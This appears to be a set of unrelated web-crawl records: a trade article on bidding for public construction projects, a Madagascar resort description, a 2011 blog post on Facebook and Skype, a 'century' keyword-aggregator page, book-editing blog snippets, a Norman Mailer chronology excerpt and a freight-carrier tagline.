text:
If you are a contractor or supplier who loves a detail-oriented challenge, one of the most challenging involves public-funded projects. And as the economy remains sluggish, more and more businesses are exploring the possibilities.
So, what does it take and just what are the special challenges?
The work of Lefever Building Systems includes this $13 million
athletic center at Colorado State University.
Lefever has worked on many public projects in its 24 years including
Blackhawk Central City Waste Water Center in Colorado.
From the builder's perspective Rick Taylor, President of Lefever Building Systems headquartered in Commerce City, Colo., knows first hand the process. Lefever is a 24-year-old company that routinely bids for public projects in the Rocky Mountain States. The company is a certified dealer for Varco Pruden Buildings and often finds itself on the winning end of projects for municipalities, schools, the military and various hybrid partnerships that involve public money.
Currently, Taylor warns, there is volatility in the marketplace, especially on projects that are strictly won through low-bid.
"The market is really crazy out there right now in this category," he says, noting that some jobs are being won on bids that are noncompetitive. "We've been seeing jobs where people are bidding 30 or 40 percent below our cost. They're on the same type of building we've built in the past so we know what the costs are. I can understand someone being 5 percent below, but when they're 30 percent lower on a $700,000 job you start thinking, not that they know something you don't, but that there were mistakes made."
Businesses not historically active in the public market have jumped onboard during the tough economic times in hopes of finding work. Having been around the market for many years, Taylor notices the changes from a physical standpoint. Not that long ago, "It would be 10-15 people would show up to pre-bid … and from that 4 to 6 people would bid. Now, about six months ago when I last attended one of these, there were a little over 50 people there, of that 35 representing a general contractor, and 20-25 actually placed a bid. So we're getting a lot of people who haven't competed in that market before."
That's good news for entities with public money to spend since they are getting more for their money these days. It's bad news for the businesses that may not have been prepared with a bid that took all their costs into account.
Low bid does not always get the job, however. In the case of military contracts, low bid can be trumped by experience and proven quality. "It's a combination of your pricing and the value you can bring to the design process," Taylor says. "The trick is if you can show with your past work record that you're the best value."
Four years ago, Taylor says, about 40 percent of Lefever's government work was for the Colorado Department of Transportation on things like maintenance buildings and sand sheds with the remainder in things like water treatment facilities for municipalities. Today, the tide has turned, and the majority of the government work is in military as well as water treatment facilities and other government.
Whatever the bid requirements, the process for public-funded projects is not for the faint of heart. Taylor outlines a myriad of hurdles that need to be jumped during and after the initial process. There is often a long lead-time between the bid process and the breaking of ground. "You may be building 12 months after the bid process," Taylor says.
Although every job requires diligence to rules and regulations, Taylor notes that different rules apply to government projects. "The biggest challenge is compliance for all the rules and regulations," Taylor emphasizes. "The first couple of jobs can be very challenging." Are you expected to meet the Made in America Act? Do you have the proper safety programs in place? Can you provide LEED certification? On the latter topic, Taylor says: "We've seen a great deal of increase in demand for LEED certification. The vast majority of these jobs have to be LEED qualified," Taylor says. And yet, the public customer won't likely want to go through the LEED system for getting the certification so the general contractor will be expected to do so. To meet such demands, Lefever has a LEED administrator on staff. As well, they have staff trained in how to handle the 600-800 pages of specifications they may be required to understand and implement in a given project.
There is generally a higher level of scrutiny on all public-funded projects, but it rises to a new level with military projects. Workers who enter a military facility will have to undergo background checks and daily identification checks at the gate.
If this cautionary advice hasn't turned you away, there are some benefits to working on public projects. First, and foremost, you will get paid, and on a fairly timely basis. "The time for payment has improved," Taylor says. "On government projects it used to take 70 or 80 days to get paid. Now it's closer to 45 days."
And, it is rewarding to be in a class of companies that are generally in a higher level of expertise. "The companies are in a different category. They are generally more secure companies," Taylor says. Because the pool of companies at that level is smaller, there are working relationships that develop leading to future jobs. "We do some marketing but 90 percent of our work has been referrals," Taylor says.
If you do want to explore the possibilities, Taylor advises companies to start small and work up. Most of all: "do your homework," he says, adding: "Specs can be brutal. Make sure you read them and understand them and incorporate them into your proposal. And then be patient and persistent. You have to understand the cost and once you get your first job, from that you'll learn and grow."
From the manufacturer's perspective
The process for public projects can be equally challenging for the manufacturer, even though they have a more indirect route to the customer. ATAS International Inc., headquartered in Allentown, Pa., makes roofing and wall cladding materials from two locations in Allentown, as well as facilities in Mesa, Ariz., and Maryville, Tenn. The company is frequently involved with such projects. Jim Bush, Vice President of Sales, and Dave Smith, Technical Service Manager, are very familiar with the process.
The Camp Lejeune project
Marine Corps Base Camp Lejeune in North Carolina was updated
in 2010 with a new roof from ATAS International Inc., Allentown, Pa.
The project consisted of reroofing an officers' headquarters building.
Materials included: 14,208 square feet of Dutch Seam (MRD150),
0.040-inch aluminum standing-seam roofing panels; 8,136 square
feet of Design Wall (DSF120), 0.040-inch aluminum 12-inch flush
wall panels; and 6,856 square feet of Vented Windlock Soffit (MPV),
0.032-inch aluminum 12-inch soffit panels. All materials are finished
in a Sandstone color.
"We have products that fit about any type of building project," Bush explains. "Through 2009 and last year one of our focus areas has been government-type projects, where there's been a fair amount of funding."
They haven't noticed a slowdown in that segment yet, but the future is unclear. "Obviously some of the stimulus money is coming to an end, so there is some concern moving forward," Smith says.
One of their more recent projects was supplying materials for a remodel of the officers' headquarters building at Marine Corps Base Camp Lejeune in North Carolina. "We provided roofing, the fascia panels, gutter systems, soffits … pretty much the exterior metal cladding on the whole structure," Smith describes.
Because ATAS is a manufacturer, they most directly work with a distributor. "Our path through the project is our distributor," Bush says. "Through them we work with the subcontractor. As far as Camp Lejeune, it was all handled by the subcontractor."
Because of its experience in the publicly-funded arena, ATAS may alert a distributor or subcontractor of an upcoming job to bid in hopes of being a component of that winning bid. But in this case they were working with a subcontractor they had not worked with before.
Bush notes that the process is not all that different from a private job in many respects. For Camp Lejeune he describes: "We bid the project based on specifications; then upon being awarded the job, we had to go through the engineering function and evaluation of the job to ensure compliance; shop drawing preparation; and coordinating and sequencing the materials in deliveries. In addition to that, there were certain weather-type warranty requirements that we actually had to perform."
Their involvement on site is generally minimal, and yet their responsibility remains high. "The greatest challenge is consistency of installation," Bush says. Good communication is imperative, especially on a project like Camp Lejeune. "Something that size, you have quite a number of people from the subcontractors installing," Bush adds. "You try to communicate all the techniques to them."
"A lot of contractors are familiar with working with metal panel systems generically," Bush adds, "but for certain warranty requirements we have certain detailing that is pertinent to ATAS systems. So training and educating the contractor to understand going in is always a struggle."
Fortunately, at this level of expertise, it is generally less of an issue.
"There's usually an individual or two that leads the crew who has a higher level of expertise in the product," Bush notes. "Most times the contractor has to be approved by the manufacturer that they have the ability to perform that kind of work. So there is some prequalification of the contractor through specification requirements and also by ATAS."
To keep the work on track and up-to-par, there is a pre-installation conference, and mandatory follow-up inspections at 10 percent of completion, 50 percent of completion, and a final inspection upon project completion.
Expectations remain high at all levels. "Any time you get involved with these higher-end, government/military-type projects, they are very tedious as far as meeting performance specifications requirements. The submittal process is very thorough, dotting your 'i's', crossing your 't's', combining typical engineering requirements, right on down the line. With most of these jobs … everybody is checking for specification compliance," Bush says.
Compliance equals more paperwork. "There's typically a fair amount of paper flow that goes through these jobs in the submittal process," Bush explains. "To ensure you do meet the specs, there's almost an overhead associated with compliance to the performance requirements."
Bush chuckles when he says that sometimes accomplishing a government project can be "jokingly painful," explaining: "It's very rewarding to get them, and to complete them, but they are fairly stressful during the course of them. Obviously, there are always time-restraint commitments, especially in the roofing trade it seems like we're always playing catch-up to other trades in a job. Everybody tries to get the building dry, so that the pressure gets put on the subcontractor who in turn puts pressure on the manufacturers. You try to minimize that through proper coordination."
Bush ends: "The reward is the successful job in the end, but in between there's a lot of deadlines and commitment and things that have to be adhered to. These kinds of jobs are not for the faint of heart." RB
Photos courtesy of Lefever Building Systems, Varco Pruden Buildings and ATAS International.
FREE subscription to Rural Builder Magazine
Whether you're involved in post-frame, metal frame, masonry, or any other type of town-and-country low-rise construction, respond today to this FREE subscription offer to Rural Builder and stay ahead of the industry curve!


text:
Tsara Komba is an exclusive resort on Nosy Komba, an idyllic island just 25 minutes by boat from Nosy Be. Komba means Lemur in Malagasy since the island is home to a large number of these fascinating primates which you can spot in the lush forest. The lodges are spread across the tropical hillside, and really do blend quite seamlessly into their surroundings.
Accommodation comprises eight thatched lodges, each with an open-air deck that provides superlative ocean views and allows the sea breeze to waft in slowly. There are six "Ocean View" lodges which cater for a maximum of 3 guests, and two more spacious "Ocean View" lodges with a comfortable lounge which can be used as an extra bedroom. Each lodge has a well-appointed bathroom, mosquito net and fan as well as a desk. The breathtaking beach lies waiting with its loungers and is easily reached from each lodge. After a day in the sun, enjoy an ice-cold cocktail at "le TK bar" and feast on fresh seafood at the "Le TK" restaurant.
The place is sensational. Having an entire island to yourself is a dream come true, let alone one with crystal clear water, soft white sands and coral reefs teeming with marine life. The setting is stunning and this is the best place in Madagascar to spot various types of lemurs. The lodges are private and perfect, with an open-air deck that provides panoramic views over the Indian Ocean. There are an array of water sports on offer, such as snorkelling, scubadiving, kayaking, fishing and pirogue trips around the island where you may spot dolphins and whales. Hike across the island through Ylang ylang plantations spotting birds, butterflies and beasts along the way. And at the end of every day, toast the spectacular sunset in your island paradise.

subset: commoncrawl


text:
On the surface, the recent agreement between Facebook and Skype seems to make sense if one is judging it with broad perspective that both sites are online tools that bring people together and help them communicate. However, the deal becomes a bit of a head-scratcher you analyze how each site is used very differently.
Skype is essentially a face-to-face conversation in real time- but with the added advantage of not having to be in the same room. Communicating via Facebook is actually very different. As opposed to real time communications, all messages on Facebook get replied to when the user gets around it. Furthermore, they're not tied to a webcam in order to do so.
Perhaps a good predictor of the results of this agreement is the chat function on Facebook. While it's much closer to the original Facebook mold, Facebook chat is in real time. Personally, I rarely use the function on Facebook and my threshold for tolerating video chats on Facebook would be much greater.
Furthermore, I believe strictly from a brand perspective that this new idea will have trouble taking off because different ideas need different brands. The convergence of unique ideas with unique brands is rarely successful. For Skype it's an attempt to extend it's reach to an enormous new population of users. Yet, for Facebook it feels like another line extension that is leading the brand further off course. Isn't it fitting that they could get so distracted.
This post also appeared on Talent Zoo Media's Beneath The Brand blog.
Sunday, July 10, 2011
Is Facebook Becoming Distracted?
No comments:
Subscribe to: Post Comments (Atom)


text:
century's examples
- Century is accidentally summoned to Earth by Scarlet Witch (Force Works #1, 1994), Century journeys into space to find out about his past and settles an old score with his former master (Century: Distant Sons, 1995), Returns to Force Works in. — "Century - Marvel Universe Wiki: The definitive online source",
- Welcome to Century Housing, the one-stop shop for affordable housing loans that gives back to the community. — "Century Housing Corporation",
- Bank holding company with subsidiary which performs commercial banking operations, mortgage banking and other related financial activities. (Nasdaq: CNBKA) Incentive will be deposited into your Century Bank Checking Account within three months of applying and closing on the loan. — "Century Bank", century-
- Look up century in Wiktionary, the free dictionary. This article includes a list of references, related reading or external links, A century will only include one year, the centennial year, that starts with the century's number (e.g. 1900 is. — "Century - Wikipedia, the free encyclopedia",
- Century Furniture, based in Hickory, North Carolina, is a furniture manufacturer that has a vast selection of products. Our collection includes bedroom furniture, wood dining room tables and chairs, sofas, loveseats, fine upholstery, and much. — "Century Furniture",
- Examples of CENTURY. It took more than a century to complete the cathedral. Millions of people celebrated the beginning of the 21st century on January 1, 2000. The pottery dates back to the sixth century B.C.E.. When the prince got married, it was called the wedding of the century. — "Century - Definition and More from the Free Merriam-Webster", merriam-
- Century Martial Arts-Largest mixed martial arts supplier-Karate Belts-Karate Uniforms-sparring gear-MMA-MMA gear-MMA glove-MMA shorts-Tapout-UFC. — "Century Martial Arts-Karate uniforms-karate belts-MMA-MMA Glove",
- century n. , pl. , -ries . ( Abbr. C. or c. or cent. ) A period of 100 years. Each of the successive periods of 100 years before or since the advent A century will only include one year, the centennial year, that starts with the century's number (e.g. 1900 is the final year in the 19th century). — "century: Definition from ",
- Definition of century from Webster's New World College Dictionary. Meaning of century. Pronunciation of century. Definition of the word century. Origin of the word century. — "century - Definition of century at ",
- Yahoo! Local has Century business reviews, top rated services, and events near Century, FL. Use interactive maps, driving directions reviews and ratings to find the right service near you. — "Century City Pages on Yahoo! Local. Find Businesses, Services",
- Explore the many opportunities awaiting you at Century College! We offer daily tours, Monday - Thursday at 5 pm (when classes are in session), or you can attend one of our regular Discover Century Information sessions--no appointment is necessary. — "Century College : White Bear Lake, Minnesota", century.edu
- Century Furniture: Classic Fine Furniture from Traditional to Contemporary. — "Century Furniture: Fine Furniture Hand-Crafted in North Carolina",
- Definition of century in the Online Dictionary. Meaning of century. Pronunciation of century. Translations of century. century synonyms, century antonyms. Information about century in the free online English dictionary and encyclopedia. new. — "century - definition of century by the Free Online Dictionary",
- Century Stamps specializes in offering collectors premium quality United States stamps. We have been in business for 28 years, and have a reputation for integrity and reliable service. Our extensive full color catalog comes out 4 times a year. — "Century Stamps", century-
- Century, Florida detailed profile Dec. 2009 cost of living index in Century: 78.7 (low, U.S. average is 100) Recent posts about Century, Florida on our local forum with over 900,000 registered users. — "Century, Florida (FL 32535) profile: population, maps, real", city-
- Century 21 your professional champion to sell and buy real estate. Search millions of home listings today!. — "Century 21 Real Estate", century21.com
- The 19th century lasted from 1801 through 1900 in the Gregorian calendar. Historians sometimes define a "Nine***th Century" historical era stretching from 1815 (The Congress of Vienna) to 1914 (The outbreak of the First World War); alternatively. — "what is the 19th century? tell me the dates please...the 18th",
- Century Select The Century Select Collections offer uniquely fresh designs of the highest quality, in the most sought-after finishes, all at remarkably competitive Century Hardware The Century Hardware Collections bring you the time-honored designs that our industry relies upon, always. — "Century Hardware, L.L.C. | Kentwood and Vancouver", century-
- Century definition, a period of 100 years. See more. — "Century | Define Century at ",
- View or Pay My Bill. Check My Email. Shop. Savings Bundles. High-Speed Internet. Voice The name CenturyLink and the pathways logo are trademarks of CenturyTel, Inc. — "CenturyLink, formerly CenturyTel/EMBARQ |High Speed Internet",
- CENTURY 21 Associates,serving the real estate needs of Columbia, Maryland, and the surrounding suburbs,Annapolis Real Estate,Deale Real Real Estate,Waldorf Real Estate. — "Columbia Real Estate Maryland Homes for sale, Buy a home", century21
related videos for century
- Ralph Langner: Cracking Stuxnet, a 21st-century cyber weapon When first discovered in 2010, the Stuxnet computer worm posed a baffling puzzle. Beyond its unusually high level of sophistication loomed a more troubling mystery its purpose. Ralph Langner and team helped crack the code that revealed this digital warhead's final target -- and its covert origins. In a fascinating look inside cyber-forensics, he explains how.TEDTalks is a daily video podcast of the best talks and performances from the TED Conference, where the world's leading thinkers and doers give the talk of their lives in 18 minutes. Featured speakers have included Al Gore on climate change, Philippe Starck on design, Jill Bolte Taylor on observing her own stroke, Nicholas Negroponte on One Laptop per Child, Jane Goodall on chimpanzees, Bill Gates on malaria and mosquitoes, Pattie Maes on the "Sixth Sense" wearable tech, and "Lost" producer JJ Abrams on the allure of mystery. TED stands for Technology, Entertainment, Design, and TEDTalks cover these topics as well as science, business, development and the arts. Closed captions and translated subtitles in a variety of languages are now available on , at
- Supertramp - Crime of the century (Lyrics) Supertramp's Crime of the Century with lyrics.
- IBM Centennial Film: 100 X 100 - A century of achievements that have changed the world The film features one hundred people, who each present the IBM achievement recorded in the year they were born. The film chronology flows from the oldest person to the youngest, offering a whirlwind history of the company and culminating with its prospects for the future. For more information, please visit www.ibm100.com (
- Tiësto - Century feat. Calvin Harris New album, Kaleidoscope, out now! -
- Sports Century Montage of key sport moments of the last century.
- Willow Smith - 21st Century Girl [New 2011] {\/\/} Beautiful song, Willow Smith Is Taking over!! {\/\/} "NO COPYRIGHT INFRINGEMENT INTENDED. I DO NOT OWN THE RIGHTS TO THIS MUSIC." Fan Made Video.
- Adam Lambert Mad World/20th Century Boy Providence 081710.m4v Sony/RCA recording artist, Adam Lambert, performs"Mad World" and "20th Century Boy" in concert on August 17 in Providence, Rhode Island. I do not own the copyright to this performance and no copyright infringement is intended. This video is presented to invite comments and critiques of Mr. Lambert's performance. "Mad World" © written by Roland Orzabal."20th Century Boy" ©. Written by Marc Bolan. Publishing administered by: Hal Leonard Corporation. This video is posted with thanks to Sony Music Entertainment for allowing fans around the world to share, enjoy, and promote the mega-talented Mr. Lambert's music through these grass-roots efforts.
- Red hot chili peppers - 21st century ╔═╦╗╔╦╗╔═╦═╦╦╦╦╗╔═╗ ║╚╣║║║╚╣╚╣╔╣╔╣║╚╣═╣ ╠╗║╚╝║║╠╗║╚╣║║║║║═╣ ╚═╩══╩═╩═╩═╩╝╚╩═╩═╝
- Bad Religion Performs "21st Century Digital Boy" Bad Religion Performs "21st Century Digital Boy" on Jimmy Kimmel Live
- Extinct Animals 20th Century! Song: Eternity by Robbie William recently some of them were rediscovered/possible rediscovered ;) like: Yunnan Box Turtle: officially critically endangered Golden Toad (possibly sighting) Pink-headed duck (possibly sighting)
- RSA Animate - 21st century enlightenment Matthew Taylor explores the meaning of 21st century enlightenment, how the idea might help us meet the challenges we face today, and the role that can be played by organisations such as the RSA.
- Noah Shawn - Bayern Munich´s Century Talent 7 Years Old! HD Shawn Noah is a 7 YEAR football talent and is the German record champion Bayern Munich under the contract. He applies Worldwide than exception Talent. Do you like my video? Subscribe to me then (: Music by: Jay Sean - Break Ya Back The Qemist - Dem Na Like Me
- This Century "Running Acoustic" Official Video Official video for "Running" by 'This Century'. Directed by Ian Michael Kintzle for the 'Eighty One Twenty Three Acoustic Sessions'. This song is available on iTunes for $0.99. You can visit the production company 'Cadence Pictures' at -- &
- Green Day - 21st Century Breakdown (Video) © 2009 WMG 21st Century Breakdown (Video) Directed by Marc Webb
- Kelis-22nd Century (HQ) 22nd Century, one of the new tracks from Kelis' upcoming album, Flesh Tone. Full Album Version of the song. Just put some pics of Kelis along with the song.
- Willow Smith - 21st Century Girl - Lyrics Willow Smith performing "21st Century Girl", New Song 2011 Roc Nation, LLC
- The 21st Century Beetle NY Reveal The wait is finally over: the all-new 2012 Volkswagen Beetle has arrived. This exclusive footage, shot April 18 in the New York reveal, offers a first glimpse at an automotive and cultural icon, reinvented. Get ready to own the 21st Century Beetle at
- Secret Garden..Dawn Of A New Century. Sunrise...slideshow
- The Tragically Hip - Ahead By A Century Music video by The Tragically Hip performing Ahead By A Century. (C) 1996 MCA Music Entertainment Ltd.
- Diego Maradona's Goal of the Century. Diego Maradona scores a stunner against England in the 1986 World Cup - right after the famous 'Hand of God' goal.
- Willow - 21st Century Girl Music video by Willow performing 21st Century Girl. (C) 2011 Roc Nation, LLC
- Fight of the Century: Keynes vs. Hayek Round Two "Fight of the Century" is the new economics hip-hop music video by John Papola and Russ Roberts at EconStories.tv. According to the National Bureau of Economic Research, the Great Recession ended almost two years ago, in the summer of 2009. Yet we're all uneasy. Job growth has been disappointing. The recovery seems fragile. Where should we head from here? Is that question even meaningful? Can the government steer the economy or have past attempts helped create the mess we're still in? In "Fight of the Century", Keynes and Hayek weigh in on these central questions. Do we need more government spending or less? What's the evidence that government spending promotes prosperity in troubled times? Can war or natural disasters paradoxically be good for an economy in a slump? Should more spending come from the top down or from the bottom up? What are the ultimate sources of prosperity? Keynes and Hayek never agreed on the answers to these questions and they still don't. Let's listen to the greats. See Keynes and Hayek throwing down in "Fight of the Century"! Starring Billy and Adam from http
- ELO - 21st Century Man CLICK HERE FOR STEREO SOUND: The eleventh track from the Electric Light Orchestra album Time.
- 20th Century Boy 20th Century Boy by T. Rex
- 21st Century Education in New Brunswick, Canada 21st Century Education This video was produced by the New Brunswick Department of Education to stimulate discussion among educators and other stakeholders in public education in the province of New Brunswick. The 21st Century presents unique challenges for education worldwide. In order to keep pace with global change we must focus on 21st Century Skills and public education must adapt to keep students engaged. Rigor and relevance are key,
- montage Century: love why montage realiser par misstiti4422
- James Durbin : Muse - Uprising : American Idol 21st Century Songs James Durbin : Muse - Uprising : American Idol 21st Century Songs - Top 7 Week. The eccentric 20-year-old film camp counselor of Idyllwild, Calif., planted a peck on "Idol" judge Jennifer Lopez after delivering a rockin' rendition of Maroon 5's "Harder to Breathe" during the Fox talent competition's evening of 21st century songs Wednesday. Lopez proclaimed that she loved Abrams' performance - and his "soft lips" weren't bad either. "You did what I've been trying to do for four months," exclaimed Steven Tyler, who later added some expletives. Scotty McCreery, the 17-year-old high school student of Garner, NC, kicked off the show with an eyebrow-raising take on LeAnn Rimes' version of "Swingin'." Tyler wished that the deep-voiced crooner "boot-scooted" more during his routine, while Randy Jackson dubbed his song choice as "safe." Lopez warned McCreery that it's time "to pull out the big guns." "We were expecting more from Scotty," scolded J.Lo. Lauren Alania, the 16-year-old country songstress of Rossville, Ga., and Jacob Lusk, the 23-year-old power vocalist of Compton, Calif., were also prodded to push themselves further after taking on Sara Evans' "Born to Fly" and Luther Vandross' "Dance With My Father." Lusk pulled out his in-ear monitor while singing, and later complained of technical difficulties. "Vocally, it was good, but it didn't make me jump up and down," Jackson told Lusk. Haley Reinhart, the growling 20-year-old singer of Wheeling, Ill., received a lukewarm ...
- Century - Lover Why Lyrics: A sign of time I lost my life, forgot to die Like any man, a frightened guy I'm keeping memories inside Of wounded love But I know I'm more than sad and more today I'm eating words too hard to say A single tear and I'm away Away and gone I need you So far from hell, so far from you 'Cause heaven's hard and black and gray You're just a someone gone away You never said goodbye Why, lover why ? Why do flowers die ? Why, lover why ? Everytime I hear your voice, you heard my name You built the fire, wet the flame I swim for life, can't take the rain No turning back I need you So far from hell, so far from you 'Cause heaven's hard and black and gray You're just a someone gone away You never said goodbye Why, lover why ? Why do flowers die ? Why, lover why ? Why, lover why ? Why do flowers die ? Why, lover why The art has nothing to do with the song!
- Special Investigation - 20th Century Killers Stick with it--- there is a point! _________________ I know it's a bit slow, but I feel like it's something that needs to be said. Please note: this video is NOT about whether the German leader was or was not a Christian, atheist, Hindu, or Buddhist. (I will disguise his name herein to avoid censorship by certain European governments). Please don't argue about whether or not A.Hhtlrr was, or was not, a Christian on this video. Please don't miss my point that much, I'll be depressed that all my work was for nothing. I chucked this idea away several times before finally making it, because any video or statement that deals with A.Hhhtlrr and religiosity, usually descends into a futile argument throwing around quotes claiming that he both was, and wasn't a Christian, when the truth is IT DOESN'T MATTER AT ALL. He was a frigging *** !!! Isn't that enough?! The point of this video is that religion, or lack of it, had NOTHING TO DO WITH these three terrible men's actions. Sincerest thanks to youtuber redFISTofEUROPE for sharing his knowledge about the European leaders with me over several Skype sessions. Other research was mainly done on Wikipedia, which I know is not the most scholarly source, but really all that I had ready access to. I'm confident that the factual historical content of the video is accurate, and hope that even if some inaccuracies are in there, the point is still made. The squirrel thing is a reference to the Will Ferrel movie Anchorman. Epic ...
- King Crimson - 21st Century Schizoid Man this is a little thing i put together for my favorite king crimson song so enjoy
- Tiësto - Century feat. Calvin Harris Tiësto - Century feat. Calvin Harris from Ultra Records. On Tiësto's new album 'Kaleidoscope' Purchase here:
- Sir Martin Rees: Earth in its final century? In a taut soliloquy that takes us from the origins of the universe to the last days of a dying sun 6 billion years later, renowned cosmologist Sir Martin Rees explains why the 21st century is a pivotal moment in the history of humanity the first time in history when we can materially change ourselves and our planet. Stunning imagery of cosmological wonders show us the universe as we know it now. Speaking as "a concerned member of the human race," Rees harkens to the wisdom of Einstein, calling for scientists to act as moral compasses, confronting the coming developments and ensuring our role in "the immense future."
- New Animals Species Discovered 21st Century! Song: One Last Breath by Creed These animals are new and discovered 21st century! We know that some animal species face for extinction but we always discover new species!
- This Century - Battling A Heavy Heart (Good Quality) First song from the new EP " TO LOVE AND BACK" 2009. Enjoy the song ^^
- 21st century traitors in your face violations of the US constitution as expected from our leader and police as well as rent a cops..AS FOR YOUTUBE - READ below - ATTENTION YOUTUBE - FAIR USE... This site contains copyrighted material. The use of which has not always been specifically authorized by the copyright owner. I am making such material available in my efforts to advance understanding of environmental, political, human rights, economic, democracy, scientific, and social justice issues, etc. I believe this constitutes a 'fair use' of any such copyrighted material as provided for in section 107 of the US Copyright Law. In accordance with Title 17 USC Section 107, the material on this site is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes. www.law.cornell.edu ode/html/uscode17/usc_sec_17_0 0000107----000-.html
- DISCO D'OR (1985) Part 7 CENTURY, Lover why © Katia Telmondis VTS October 1985
- 1.- Green Day- Song Of The Century [Lyrics] [HQ] Green Day Song Of The Century 21st Century BreakdownCopyright Disclaimer: Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for fair use for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use. I got these lyrics from the album cover, they are 100% correct Ill Be doing the entire 21st Century Breakdown Album, Subscribe to me to get my latest upload. I DO NOT WANT TO HEAR HOW YOU THINK GREEN DAY SUCKS, IF YOU DONT LIKE THEM, DONT COME HERE. NO SPAM LETTERS. Song List: 1. Song Of The Century Act I: Heroes And Cons 2. 21st Century Breakdown 3. Know Your Enemy 4. ¡Viva La Gloria! 5. Before The Lobotomy 6. Christians Inferno 7. Last Night On Earth Act II: Charlatans and Saints 8. East Jesus Nowhere 9. Peacemaker 10. Last of the American Girls 11. Murder City 12. ¿Viva La Gloria? (Little Girl) 13. Restless Heart Syndrome Act III: Horseshoes and Hand Grenades 14. Horseshoes and Hand Grenades 15. The Static Age 16. 21 Guns 17. American Eulogy: A. Mass Hysteria B. Modern World 18. See The Light
- 20th Century Fox www.tinyurl.pl?4ACzgSWf
- The Century of Self Happiness Machines part 1 The story of the relationship between Sigmund Freud and his American nephew, Edward Bernays. Bernays invented the public relations profession in the 1920s and was the first person to take Freud's ideas to manipulate the masses. He showed American corporations how they could make people want things they didn't need by systematically linking mass-produced goods to their unconscious desires. Bernays was one of the main architects of the modern techniques of mass-consumer persuasion, using every trick in the book, from celebrity endorsement and outrageous PR stunts, to ***ising the motorcar. His most notorious coup was breaking the taboo on women smoking by persuading them that cigarettes were a symbol of independence and freedom. But Bernays was convinced that this was more than just a way of selling consumer goods. It was a new political idea of how to control the masses. By satisfying the inner irrational desires that his uncle had identified, people could be made happy and thus docile. It was the start of the all-consuming self which has come to dominate today's world.
- The Century of the Self - 1 of 4 - Happiness Machines The Century of the Self is a British television documentary film that focuses its attention on Sigmund Freud's family, especially his daughter and nephew, who exerted a surprising amount of influence on the way corporations and governments throughout the 20th century have thought about, and dealt with, people. Awards * Best Documentary Series, Broadcast Awards * Historical Film Of The Year, Longman/History Today Awards Nominated for: * Best Documentary Blubb, Royal Television Society * Best Documentary, Indie Awards * Best Documentary Series, Grierson Documentary Awards * Best Documentary, William Coupan Memorial Award Episodes: 1. Happiness Machines 2. The Engineering of Consent 3. There is a Policeman Inside All Our Heads: He Must Be Destroyed 4. Eight People Sipping Wine in Kettering See also * Pandora's Box (television documentary series) - Adam Curtis' 1992 documentary series which examines the often strange and unpredictable consequences of science and political, technocratic rationalism. * The Power of Nightmares - A 2004 documentary series by Curtis, documenting the death of idealism in politics which was replaced by scaring voters and then vowing to protect them in office. * The Trap (television documentary series) - Curtis's 2007 BBC TV documentary series.
- Crime of the Century A music video set to the music of Crime of the Century by Supertramp. 'A seven-minute glimpse of shocking reality, that seems to transcend time from a post-apocalyptic world, using fantasy and reality, combined to create an alternate future. A summary of the political and post-millennial world in which we all live in, a reminder that danger lurks at every dark corner in our shadowed society.' (James Bryn) An AWT Films production, Please rate! Thanks very much for watching.
Blogs & Forum
blogs and forums about century
"New Century Forum (traditional Chinese: 新世紀論壇) is a political party in the Hong Kong Special Administrative Region of the People's Republic of China. The group comprises professionals, businessmen and academics, and aims to represent the voice of the middle-class"
— New Century Forum - Wikipedia, the free encyclopedia,
"Feel free to comment on any entry with more 18th century related tips and links. 6 Hey/Hejsan 18th Century Blog and Johann by Elisabeth Sjöb on"
— The blog – 18th century blog, 18
"polls - New Century Forum(新世纪论坛) is ready for your opinion, support and vote. Vote online NOW! ElectionsMeter is intended for the world's public to express personal affections and free opinion of every person towards politics and politicians"
— New Century Forum(新世纪论坛) political party in Poll - public,
"Today Century Cycles owner Scott Cowan was the featured speaker at the luncheon meeting This blog even got a shout-out in his presentation, cited as one of the integral"
— Century Cycles,
"Sheridan Blog. Contact Us. Property Organizer Login Relocation Package Residential Listings CENTURY 21 Fine Homes and Estates®Residential Building Sites Land and Ranch CENTURY 21 Commercial®Featured Listings Search MLS Buyer Questions Children"
— The Sheridan Area Blog, blog.century21
"Century Council Blog. Home > Read Our Blog > Century Council Blog > Century Council Blog The Century Council supports Congressman Kind and his efforts to encourage America's"
— Century Council Blog,
"a new 18th-century blog, early modern online bibliography. Posted on June 25, 2009 by Dave You'll see that I've also added it to our blogroll, under "Eigh***th Century Resources"
— a new 18th-century blog, early modern online bibliography, long18
"CenturyInks is into manufacturing of various types of multi-purpose markers for industrial purposes. These markers have a permanent marking on the surface which they are made for"
— Century Markers India's manufacturer & exporter of industrial,
"Buick Century Auto Body Parts, Rims, wheels, Lights and Used Buick Parts. - Forum"
— Buick Century Parts Online - Forum,
"Real Estate blog discussing residential homes, land, lake, river, and commercial properties from Century 21 LeMac Realty"
— Century 21 LeMac Realty Blog, century21
related keywords for century
- century 21
- century link
- century arms
- century furniture
- century college
- century city mall
- century theaters
- century 21 nyc
- century bank
- century martial arts
- century 21 real estate
- century 21 rentals
- century 21 insurance
- century 21 thomas
- century 21 town and country
- century 21 judge fite
- century 21 alliance
- century 21 nj
- century 21 mortgage


text:
I often field questions about editing. Many Continue Reading
January 25, 2017 By 5 Comments
5 Reasons to Hire a Professional Book Editor
March 27, 2013 By 8 Comments
Write First, Edit Later to Finish Your Nonfiction Book Fast
You may have heard about your Inner Child. Maybe Continue Reading


text:
The Deer Park: A Play opens at Theatre DeLys in New York on 31 January; it closes 21 May after 127 performances. Mailer underwrites the production and loses money. The cast includes his wife Beverly, ex-wife Adele, Rip Torn and his old friend, actor Mickey Knox.
On 24 May, he is inducted into the National Institute of Arts and Letter. Publishes four books: The Short Fiction of Norman Mailer which contains 19 stories written from 1940 to 1962 (11 May); The Deer Park: A Play (7 August); Why Are We in Vietnam? (15 September); The Bullfight, a portrait of Mexican bullfighter Amado Ramirez, known as "El Loco" (mid-November); makes two experimental films, "Wild 90" and "Beyond the Law," co-produced by his close friend, Buzz Farbar.
On 21 October, he takes part in an anti-war protest at the Pentagon, along with Robert Lowell, Noam Chomsky and Dwight Macdonald. Why Are We in Vietnam? is nominated for the National Book Award.


text:
We leverage our extensive LTL carrier network to provide customers best in class service and the lowest possible freight rates.
LTL Carrier
